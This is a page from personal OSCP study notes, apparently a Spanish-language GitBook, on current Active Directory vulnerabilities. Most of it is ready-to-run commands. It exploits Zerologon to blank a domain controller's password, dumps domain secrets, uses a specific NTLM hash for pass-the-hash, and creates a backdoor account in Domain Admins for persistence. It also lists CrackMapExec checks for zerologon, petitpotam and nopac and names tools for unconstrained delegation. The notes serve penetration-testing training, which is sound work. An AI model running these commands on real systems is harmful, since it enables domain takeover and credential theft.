OSCP Notes
  • OSCP Cheatsheet
  • Sistema de ficheros del OS
    • File Transfers Linux
    • File Transfers Windows
  • Web Attacks
    • Web Enumeration
    • SQL Injection
    • CGI
    • CMS
  • DATABASES
    • MSSQL
    • MYSQL
  • Services Enumeration
    • Trucos Generales
    • POP3 - 110
    • SMB - (445-139)
    • DNS
    • NFS - 2049
    • SMTP - 25
    • TFTP - 69
    • SNMP - (161-162-10161-10162)
  • Privilege Escalation
    • Information Gathering - EscPriv
    • Windows Privilege Escalation
      • MANUAL - Windows PrivEsc
      • Bypass UAC
    • Linux Privilege Escalation
  • Password Attacks
    • Hash Identification
    • Brute Force
    • Pass in the Hash
    • Password Cracking
  • Port Redirection and Tunneling
    • Port Forwarding
    • SSH Tunneling
      • SSH Local Port Forwarding
      • SSH Remote Port Forwarding
      • SSH Dynamic Port Forwarding
  • Active Directory Attacks
    • AD Enumeration
    • AD Authentication
    • AD Lateral Movement
    • AD Vulnerabilidades actuales
    • Powershell Empire
  • Buffer Overflow
    • Linux
    • Windows
      • Spiking
      • Fuzzing
      • Finding the Offset
      • Overwriting The EIP
      • Finding the Bad Charaters
      • Finding The Right Module
      • Generating Shellcode and Gaining Shell
  • Client-Side Attacks
    • Windows Office Macros
  • Post-explotacion
    • Trucos Generales
      • Links Utiles
    • Windows
      • Mimikatz
      • Writeup Esc WinXP SP1 with services
      • POWERSHELL
  • CRTP
    • PowerView
    • Notas Generales
Con tecnología de GitBook
En esta página
  • zerologon
  • Validacion con CME
  • Kerberos Unconstrained Delegation
  1. Active Directory Attacks

AD Vulnerabilidades actuales

zerologon

git clone ==> https://github.com/risksense/zerologon
python3 set_empty_pw.py sv-dc01 10.10.10.111v

impacket-secretsdump -just-dc -no-pass SV-DC01\$@10.10.10.111
impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:63485d30576a1a741106e3e800053b34 svcorp.com/Administrator@10.11.1.20

#Persistencia
net user macaco Tomas123 /add /domain
net group "Domain Admins" macaco /add /domain

Validacion con CME

crackmapexec smb <ip> -u '' -p '' -M zerologo
crackmapexec smb <ip> -u '' -p '' -M petitpotam
crackmapexec smb <ip> -u 'user' -p 'pass' -M nopac

Kerberos Unconstrained Delegation

git clone https://github.com/samratashok/ADModule
PS C:\Users\Public> Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose
https://github.com/leechristensen/SpoolSample
AnteriorAD Lateral MovementSiguientePowershell Empire

Última actualización hace 2 años